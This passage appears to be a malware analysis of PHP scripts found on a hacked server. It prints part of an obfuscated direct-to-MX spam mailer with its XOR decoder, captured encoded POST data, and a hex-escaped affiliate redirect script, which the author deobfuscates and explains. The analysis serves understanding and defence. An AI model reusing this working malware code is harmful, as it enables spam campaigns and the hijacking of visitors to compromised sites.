$v11a95b8a += 3; continue;
}
$mailer_func_return_code .= chr($v4a8a08f0); $v11a95b8a++;
}
return $mailer_func_return_code;
}
function custom_mailer_func($sender_email, $recipient_email, $v841a2d68, $sender_mail_server, $mail_server) {
global $disabled_functions;
if (!in_array('fsockopen', $disabled_functions))
$socket = @fsockopen($mail_server, 25, $errno, $errstr, 20);
elseif (!in_array('pfsockopen', $disabled_functions))
$socket = @pfsockopen($mail_server, 25, $errno, $errstr, 20);
elseif (!in_array('stream_socket_client', $disabled_functions) && function_exists("stream_socket_client"))
$socket = @stream_socket_client("tcp://$mail_server:25", $errno, $errstr, 20);
else return -1;
if (!$socket) {
return 1;
} else {
$data_name = dump_socket_data_func($socket);
@fputs($socket, "EHLO $sender_mail_server\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 )
return "2+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "MAIL FROM:<$sender_email>\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 )
return "3+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "RCPT TO:<$recipient_email>\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 && substr($socket_data, 0, 3) != 251)
return "4+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "DATA\r\n"); $socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 354 )
return "5+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, $v841a2d68."\r\n.\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 )
return "6+($recipient_email)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "QUIT\r\n");
@fclose($socket);
return 0;
}
}
function dump_socket_data_func($socket) {
$data_name = '';
while($data = @fgets($socket, 4096)) {
$data_name .= $data;
if(substr($data, 3, 1) == ' ')
break;
}
return $data_name;
}
function get_mail_server_func($vad5f82e8) {
global $disabled_functions;
if (!in_array('getmxrr', $disabled_functions) && function_exists("getmxrr")) {
@getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816);
if (count($v744fa43b) === 0)
return '127.0.0.1';
$email_i = array_keys($v6c5ea816, min($v6c5ea816));
return $v744fa43b[$email_i[0]];
} else {
return '127.0.0.1';
}
}
function decrypt_func($v1cb251ec) {
$v1cb251ec = base64_decode($v1cb251ec);
$vc68271a6 = '';
for($email_i = 0; $email_i < strlen($v1cb251ec); $email_i++)
$vc68271a6 .= chr(ord($v1cb251ec[$email_i]) ^ 2);
return $vc68271a6;
}
?>
I also captured the POST values that are being sent to the script:
208.43.56.34Array
(
[list] => YGlvY3BrZ0JjbW4sYW1vIWBpb2Nwa2xCY21uLGFtbyFgaW9jcGkyOzM1QmNtbixhbW8hYGlvY3BpOzYyNDI6Ojs3QmNtbixhbW8hYGlvY3BpQmNtbixhbW8hYGlvY3BpcTQ3QmNtbixhbW8hYGlvY3BpdW1tZkJjbW4sYW1vIWBpb2NwbWpsQmNtbixhbW8hYGlvY3BxQmNtbixhbW8hYGlvY3BxYWpCam12b2NrbixhbW8h
[data] => PldRR1A8Z25vY11wZ2dmPi1XUUdQPAg+TENPRzwgR25vYyJQZ2dmID4tTENPRzwIPlFXQEg8RHU4IiJKZ25ubT4tUVdASDwIPlFATUZbPAg+Zmt0PAg+cjwIIlN3Y25rdnsiT2dmIk1sbmtsZyJRd3JybmtncSJgZ3F2ImFqY2xhZyJ2bSJxY3RnIj5jImpwZ2Q/IGp2dnI4LS12Z2N2cDI3LHB3LVRrZmdtXV1dRG12bV1ka25ncS1wYWQsanZvbiA8anZ2cjgtLXZnY3ZwMjcscHctVGtmZ21dXV1EbXZtXWRrbmdxLXBhZCxqdm9uPi1jPAg+LXI8CD4tZmt0PAg+LVFATUZbPA==
[en] => 1
)
PHP Redirecter
<?php /* copyright */ ${"GL\x4fB\x41\x4c\x53"}["\x6bg\x6e\x72\x77i\x6e\x64\x62n"]="\x74x\x74";$egeillbp="\x6b";${"\x47\x4cO\x42\x41L\x53"}["\x63kmj\x63uie"]="\x76";foreach($_GET as${$egeillbp}=>${${"\x47L\x4fB\x41\x4cS"}["\x63k\x6d\x6acu\x69e"]}){${"\x47\x4cO\x42\x41\x4c\x53"}["d\x78\x77\x71o\x61lv\x61\x75\x65"]="\x6b";if(preg_match("!^[a-\x7a\x30-\x39]{10,\x332}\$\x21is",${${"\x47\x4cO\x42\x41LS"}["\x64\x78\x77\x71\x6f\x61\x6c\x76a\x75\x65"]})){$xfgspywrt="\x6b";$jdhbwek="\x74\x78\x74";${$jdhbwek}=base64_decode("\x50\x46\x4eD\x55klQV\x43B\x73Y\x57\x35\x6edWFnZT1q\x59\x58Z\x68\x63\x32\x4ey\x61X\x420Pg\x30\x4b\x50\x43E\x74L\x510K\x5a\x6eVuY3Rpb2\x34g\x5a\x32V0\x62W\x55o\x63\x33RyK\x510\x4b\x65yB2YX\x49g\x61WR4ID\x30\x67\x633R\x79\x4cmluZGV\x34\x542\x59\x6f\x4a\x7a\x38n\x4bT\x73\x67a\x57\x59g\x4bG\x6c\x6be\x43A9P\x53A\x74\x4dS\x6bgc\x6dV0\x64\x58\x4au\x49\x48\x4e\x30cjsgd\x6dFy\x49Gx\x6cb\x69\x419\x49\x48\x4e0ci5\x73ZW\x35\x6e\x64G\x67\x37I\x48Z\x68\x63\x69B\x75\x5aXd\x66c3R\x79I\x440g\x49\x69I7\x49HZ\x68c\x69\x42\x70ID0\x67\x4dTs\x67\x5am\x39\x79I\x43g\x72K2\x6c\x6beDs\x67\x61\x57R\x34\x49\x44w\x67\x62G\x56\x75O\x79Bp\x5a\x48g\x67\x4bz0\x67\x4dixp\x4b\x79\x73\x70D\x51\x70\x37IH\x5ahciB\x6aaC\x41\x39\x49H\x42h\x63n\x4e\x6c\x53W\x35\x30KHN0\x63i\x35\x7a\x64\x57\x4az\x64\x48\x49oa\x57\x524LC\x41\x79KS\x77\x67\x4d\x54YpOy\x42\x75ZXd\x66\x63\x33RyICs\x39IFN\x30\x63ml\x75\x5ay\x35\x6dcm\x39t\x51\x32\x68\x68c\x6b\x4evZ\x47\x55o\x4b\x47N\x6fI\x43\x73ga\x53k\x67\x4aSAyNTY\x70\x4fy\x429IA0KZ\x479jdW\x31\x6cb\x6e\x51ud3Jp\x64\x47U\x6f\x62\x6d\x56\x33\x58\x33\x4e0c\x695zdWJ\x7a\x64H\x49o\x4d\x43xu\x5a\x58\x64f\x633\x52y\x4c\x6dx\x6c\x62\x6d\x640\x61C\x30xMSk\x72\x49lx\x31MD\x41yNlx1M\x44\x412\x4e1\x781M\x44\x41\x32Rl\x781\x4dDA\x32\x51\x6c\x781\x4dD\x412Qlx1M\x44\x41\x7a\x52Fp\x61Wl\x70\x63d\x54\x41\x77M\x6a\x4ac\x64\x54A\x77\x4d0\x4acdTA\x77M0Nc\x64T\x41\x77\x4d\x6bZcd\x54AwNz\x4e\x63d\x54\x41\x77\x4ejN\x63dT\x41w\x4ez\x4acdT\x41\x77\x4ejlcd\x54A\x77\x4ez\x42\x63dTA\x77NzR\x63\x64TA\x77\x4d0\x55i\x4b\x54sNC\x6e0\x4eC\x6d\x64vb\x32\x64\x73ZV\x39\x68\x5a\x46\x39jb\x47\x6c\x6cb\x6eQg\x50\x53A\x69c\x48V\x69\x4cTE\x30M\x7a\x411\x4fDQ\x30M\x44g\x7aMTM\x34\x4e\x44\x4d\x69O\x770\x4b\x5a\x329v\x5a2xlX\x32\x46\x6bX\x33d\x70\x5aH\x52\x6f\x49D\x30g\x4e\x7aI\x34\x4f\x77\x30KZ\x32\x39vZ2\x78lX2\x46\x6b\x58\x32\x68la\x57\x64o\x64\x43A\x39IDk\x77Ow\x30KZ29vZ2\x78\x6c\x58\x32F\x6bX\x32Z\x76c\x6d\x31h\x64\x43A9\x49\x43I3\x4d\x6a\x68\x34OTBf\x59\x58\x4diOw\x30\x4b\x5a29\x76\x5a\x32\x78l\x58\x32Fk\x583\x525cGU\x67P\x53A\x69dG\x56\x34dF\x39\x70\x62\x57F\x6eZ\x53\x497\x44Q\x70\x6e\x6229\x6e\x62\x47\x56\x66Y\x57Rf\x59\x32hh\x62\x6d5l\x62C\x419\x49\x43\x49\x69O\x77\x30KZ\x32\x560\x62WUo\x49\x6d\x680\x64H\x416Ly9\x77Y\x57d\x6cYWQ\x79L\x6d\x64vb2\x64sZ\x58N\x35bmR\x70Y\x32\x460a\x579\x75L\x6d\x4e\x76\x62\x53\x39wY\x57d\x6cYWQvc\x32\x68vd1\x39\x68Z\x48\x4du\x61nM/M\x30\x493MTYwN\x6b\x55\x32\x4e\x44\x5aB\x4e\x6bQxO\x44\x59zN\x54c2M\x7a\x56CN\x6ag\x31\x4d\x7aU4\x4eT\x55\x79QzE\x77\x4e\x54c0\x52\x44YxNEI1Q\x7aR\x43\x4e\x54k\x30Rj\x551NTg\x77NTIwNT\x670O\x54\x52\x45N\x44\x49\x30QzUz\x4d\x44\x6b0\x4ejQ4M\x30Iz\x4f\x44R\x42M\x30\x55\x30\x4d\x7aQ\x78ME\x5a\x47\x4d\x7a\x4d\x34\x4eD\x4d\x30M\x6aN\x45M\x44\x5aGQ\x55\x595R\x6bV\x47N\x6bY\x34R\x6aZGN\x6bYyRjR\x47N\x6bY\x33RUVG\x4dE\x591\x52\x6a\x46F\x51\x6a\x4aE\x4d\x6b\x4e\x46Nz\x49\x34MUY\x79\x4e\x6bY\x30\x4dTUxO\x54\x454RUV\x46N0R\x47\x52\x45Z\x45\x52\x6bQyMUUxRjB\x43R\x54V\x45\x51\x55R\x42RDV\x45\x4eU\x4d1RE\x52E\x52EN\x47MTIwMTBG\x4dDUwQj\x42FR\x44c\x69\x4bT\x73\x4e\x43\x69\x38\x76L\x530+I\x44wv\x55\x30\x4eSSVB\x55\x50\x67\x3d\x3d");echo str_replace("\x5a\x5a\x5a\x5a",${$xfgspywrt},${${"GLOB\x41LS"}["\x6bgnr\x77\x69\x6e\x64\x62\x6e"]});exit;}} /* copyright */ ?>
This piece of obfuscates itself by escaping the scripts' code using \x##. After decoding it, the code looks more like:
foreach($_GET as $k => $v) {
if(preg_match("!^[a-z0-9]{10,32}\$!is", $k)) {
$txt = base64_decode("\x50\x46\x4eD\x55klQV\x43B\x73Y\x57\x35\x6edWFnZT1q\x59\x58Z\x68\x63\x32\x4ey\x61X\x420Pg\x30\x4b\x50\x43E\x74L\x510K\x5a\x6eVuY3Rpb2\x34g\x5a\x32V0\x62W\x55o\x63\x33RyK\x510\x4b\x65yB2YX\x49g\x61WR4ID\x30\x67\x633R\x79\x4cmluZGV\x34\x542\x59\x6f\x4a\x7a\x38n\x4bT\x73\x67a\x57\x59g\x4bG\x6c\x6be\x43A9P\x53A\x74\x4dS\x6bgc\x6dV0\x64\x58\x4au\x49\x48\x4e\x30cjsgd\x6dFy\x49Gx\x6cb\x69\x419\x49\x48\x4e0ci5\x73ZW\x35\x6e\x64G\x67\x37I\x48Z\x68\x63\x69B\x75\x5aXd\x66c3R\x79I\x440g\x49\x69I7\x49HZ\x68c\x69\x42\x70ID0\x67\x4dTs\x67\x5am\x39\x79I\x43g\x72K2\x6c\x6beDs\x67\x61\x57R\x34\x49\x44w\x67\x62G\x56\x75O\x79Bp\x5a\x48g\x67\x4bz0\x67\x4dixp\x4b\x79\x73\x70D\x51\x70\x37IH\x5ahciB\x6aaC\x41\x39\x49H\x42h\x63n\x4e\x6c\x53W\x35\x30KHN0\x63i\x35\x7a\x64\x57\x4az\x64\x48\x49oa\x57\x524LC\x41\x79KS\x77\x67\x4d\x54YpOy\x42\x75ZXd\x66\x63\x33RyICs\x39IFN\x30\x63ml\x75\x5ay\x35\x6dcm\x39t\x51\x32\x68\x68c\x6b\x4evZ\x47\x55o\x4b\x47N\x6fI\x43\x73ga\x53k\x67\x4aSAyNTY\x70\x4fy\x429IA0KZ\x479jdW\x31\x6cb\x6e\x51ud3Jp\x64\x47U\x6f\x62\x6d\x56\x33\x58\x33\x4e0c\x695zdWJ\x7a\x64H\x49o\x4d\x43xu\x5a\x58\x64f\x633\x52y\x4c\x6dx\x6c\x62\x6d\x640\x61C\x30xMSk\x72\x49lx\x31MD\x41yNlx1M\x44\x412\x4e1\x781M\x44\x41\x32Rl\x781\x4dDA\x32\x51\x6c\x781\x4dD\x412Qlx1M\x44\x41\x7a\x52Fp\x61Wl\x70\x63d\x54\x41\x77M\x6a\x4ac\x64\x54A\x77\x4d0\x4acdTA\x77M0Nc\x64T\x41\x77\x4d\x6bZcd\x54AwNz\x4e\x63d\x54\x41\x77\x4ejN\x63dT\x41w\x4ez\x4acdT\x41\x77\x4ejlcd\x54A\x77\x4ez\x42\x63dTA\x77NzR\x63\x64TA\x77\x4d0\x55i\x4b\x54sNC\x6e0\x4eC\x6d\x64vb\x32\x64\x73ZV\x39\x68\x5a\x46\x39jb\x47\x6c\x6cb\x6eQg\x50\x53A\x69c\x48V\x69\x4cTE\x30M\x7a\x411\x4fDQ\x30M\x44g\x7aMTM\x34\x4e\x44\x4d\x69O\x770\x4b\x5a\x329v\x5a2xlX\x32\x46\x6bX\x33d\x70\x5aH\x52\x6f\x49D\x30g\x4e\x7aI\x34\x4f\x77\x30KZ\x32\x39vZ2\x78lX2\x46\x6b\x58\x32\x68la\x57\x64o\x64\x43A\x39IDk\x77Ow\x30KZ29vZ2\x78\x6c\x58\x32F\x6bX\x32Z\x76c\x6d\x31h\x64\x43A9\x49\x43I3\x4d\x6a\x68\x34OTBf\x59\x58\x4diOw\x30\x4b\x5a29\x76\x5a\x32\x78l\x58\x32Fk\x583\x525cGU\x67P\x53A\x69dG\x56\x34dF\x39\x70\x62\x57F\x6eZ\x53\x497\x44Q\x70\x6e\x6229\x6e\x62\x47\x56\x66Y\x57Rf\x59\x32hh\x62\x6d5l\x62C\x419\x49\x43\x49\x69O\x77\x30KZ\x32\x560\x62WUo\x49\x6d\x680\x64H\x416Ly9\x77Y\x57d\x6cYWQ\x79L\x6d\x64vb2\x64sZ\x58N\x35bmR\x70Y\x32\x460a\x579\x75L\x6d\x4e\x76\x62\x53\x39wY\x57d\x6cYWQvc\x32\x68vd1\x39\x68Z\x48\x4du\x61nM/M\x30\x493MTYwN\x6b\x55\x32\x4e\x44\x5aB\x4e\x6bQxO\x44\x59zN\x54c2M\x7a\x56CN\x6ag\x31\x4d\x7aU4\x4eT\x55\x79QzE\x77\x4e\x54c0\x52\x44YxNEI1Q\x7aR\x43\x4e\x54k\x30Rj\x551NTg\x77NTIwNT\x670O\x54\x52\x45N\x44\x49\x30QzUz\x4d\x44\x6b0\x4ejQ4M\x30Iz\x4f\x44R\x42M\x30\x55\x30\x4d\x7aQ\x78ME\x5a\x47\x4d\x7a\x4d\x34\x4eD\x4d\x30M\x6aN\x45M\x44\x5aGQ\x55\x595R\x6bV\x47N\x6bY\x34R\x6aZGN\x6bYyRjR\x47N\x6bY\x33RUVG\x4dE\x591\x52\x6a\x46F\x51\x6a\x4aE\x4d\x6b\x4e\x46Nz\x49\x34MUY\x79\x4e\x6bY\x30\x4dTUxO\x54\x454RUV\x46N0R\x47\x52\x45Z\x45\x52\x6bQyMUUxRjB\x43R\x54V\x45\x51\x55R\x42RDV\x45\x4eU\x4d1RE\x52E\x52EN\x47MTIwMTBG\x4dDUwQj\x42FR\x44c\x69\x4bT\x73\x4e\x43\x69\x38\x76L\x530+I\x44wv\x55\x30\x4eSSVB\x55\x50\x67\x3d\x3d");
echo str_replace("ZZZZ", $k, $txt);
exit;
}
}
The idea is a request comes in with a GET index set, such as log.php?ebe08b514a5a5e808c9d9084f66. The code will replace 'ZZZZ' in the HTML/Javascript redirection code embedded in the base64_decode() string with ebe08b514a5a5e808c9d9084f66. That is, users who go to log.php?ebe08b514a5a5e808c9d9084f66 gets shown a javascript redirector that redirects them to some URL with an affiliate code of ebe08b514a5a5e808c9d9084f66